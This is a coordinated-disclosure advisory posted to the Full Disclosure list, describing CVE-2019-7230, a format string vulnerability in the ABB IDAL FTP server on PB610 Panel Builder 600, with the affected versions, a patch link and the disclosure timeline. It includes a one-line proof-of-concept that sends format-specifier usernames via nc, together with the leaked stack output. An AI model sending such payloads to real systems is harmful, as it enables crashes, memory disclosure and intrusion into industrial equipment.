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Date: Thu, 20 Jun 2019 12:07:46 +0000 From: xen1thLabs <xen1thLabs@...kmatter.ae> To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>, "fulldisclosure@...lists.org" <fulldisclosure@...lists.org> Subject: [FD] XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability ======================================================================== Identifiers ----------- XL-19-004 CVE-2019-7230 ABBVU-IAMF-1902008 CVSS Score ---------- 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Affected vendor --------------- ABB (new.abb.com) Credit ------ Eldar Marcussen - xen1thLabs - Software Labs Vulnerability summary --------------------- The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server. Technical details ----------------- The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack. Proof of concept ---------------- ``` perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22 ```` UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory Affected systems ---------------- PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367 Solution -------- Apply the patches and instructions from vendor: - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch Disclosure timeline ------------------- 04/02/2019 - Contacted ABB requesting disclosure coordination 05/02/2019 - Provided vulnerability details 05/06/2019 - Patch available 17/06/2019 - xen1thLabs public disclosure _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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